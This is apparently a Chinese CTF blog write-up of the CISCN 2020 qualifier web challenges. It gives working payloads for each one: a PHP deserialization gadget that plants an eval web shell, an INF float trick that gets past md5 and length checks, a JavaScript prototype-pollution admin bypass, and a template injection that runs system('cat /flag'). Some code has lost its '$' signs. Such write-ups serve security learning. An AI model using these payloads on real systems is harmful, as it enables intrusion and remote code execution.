3rsh1
/single dog/college student/ctfer
3rsh1's Blog

[ciscn2020初赛]wp

第一次AK web,留个纪念吧。虽然题目都被各位师傅们打穿了。

web

easyphp

一开始的思路是绕pcntl,因为过滤的很有特点,就过滤了几个字符串和字符,所以会想是不是也是一种变相的提示。call_user_func绕过字符串的过滤,需要的函数条件为两参数函数,且参数数值类型为bool类型,或者是bool类型可以转换的类型。发现pcntl_wait恰巧满足。

payload:

http://eci-2ze9505q64pidotg9pjw.cloudeci1.ichunqiu.com/index.php?a=call_user_func&b=pcntl_wait
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200821080922.png

附源代码:

<?php
    //题目环境:php:7.4.8-apache
    pid = pcntl_fork();
    if (pid == -1) {
        die('could not fork');
    }else if (pid){r=pcntl_wait(status);
        if(!pcntl_wifexited(status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset(_GET['a'])&&is_string(_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",_GET['a'])){
            call_user_func_array(_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

babyunserialize

payload1.php

<?php
namespace DB;
class Jig
{

    const
        FORMAT_JSON = 0,
        FORMAT_Serialized = 1;

    protected

        dir = 1,data = array("shell.php"=>array("<?php eval(\_GET['hack']);?>"=>2333)),
        //! lazy load/save fileslazy = 1;
}
a=new Jig();
echo urlencode((serialize(a)));

payload:

url/?flag=O%3A6%3A%22DB%5CJig%22%3A6%3A%7Bs%3A7%3A%22%00%2A%00uuid%22%3BN%3Bs%3A6%3A%22%00%2A%00dir%22%3Bi%3A1%3Bs%3A9%3A%22%00%2A%00format%22%3BN%3Bs%3A6%3A%22%00%2A%00log%22%3BN%3Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A9%3A%22shell.php%22%3Ba%3A1%3A%7Bs%3A25%3A%22%3C%3Fphp+eval%28%24_GET%5B%27a%27%5D%29%3B%3F%3E%22%3Bi%3A123%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bi%3A1%3B%7D

url/1shell.php?hack=phpinfo();

这里的disable_function过滤了system等一些函数,但是flag在环境变量里就有。难道是怕我们搅屎?

easytrick

payload1.php

<?php
class trick{
    public trick1=1e1000;
    publictrick2=1e100000000;
}
a=new trick();
echo serialize(a);

简单分析:

md5强制类型转换 
别的数据类型向 string 类型的转换 会发生问题
string类型
md5值相同
长度不超过4

之前试过1e-1000000,发现被string强制转化之后是0。那么考虑无限大的话,会产生溢出。而产生溢出的数可以有无数个。因此在强制类型转换的时候值都为INF,但是强比较和弱比较的时候不会出问题。而且因为strlen判断的也是字符串的长度,在比较的时候也会发生隐式的类型转换,导致可以绕过长度的判断。

payload:

url/index.php?trick=O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}

littlegame

想去审一下set-value模块的源码来着。js原型链污染的题目,很直来直去的一道题目,主要思路就是利用setFn函数来污染原型链,然后让其在admin的判断上出问题。

payload:

url/Privilege
POST(json格式数据):
{"NewAttributeKey":"a.__proto__.password4","NewAttributeValue":"1234"}


url/DeveloperControlPanel
POST(json格式数据):
{"key":"password4","password":"1234"}

rceme

审计代码逻辑就可以了,主要点就是分析正则匹配的逻辑,然后绕过滤。这段代码的作用就是取按照一定格式编写的if逻辑然后用php进行解释,过滤了好多东西,但是没有过滤.,直接拼接函数名就可以了。代码里还有一部分错误的地方,倒是并不会执行到错误的地方,所以一些错误并不会影响。

参考链接:

https://www.3rsh1.cool/index.php/2020/05/20/wu_zi_mu_shu_zi_getshell_xiao_jie/

payload:

url?a={if:var_dump(('sys'.'tem')('cat /flag'))}test{end if}

发表评论

textsms
account_circle
email

3rsh1's Blog

[ciscn2020初赛]wp
第一次AK web,留个纪念吧。虽然题目都被各位师傅们打穿了。 web easyphp 一开始的思路是绕pcntl,因为过滤的很有特点,就过滤了几个字符串和字符,所以会想是不是也是一种变相的提示…
扫描二维码继续阅读
2020-08-21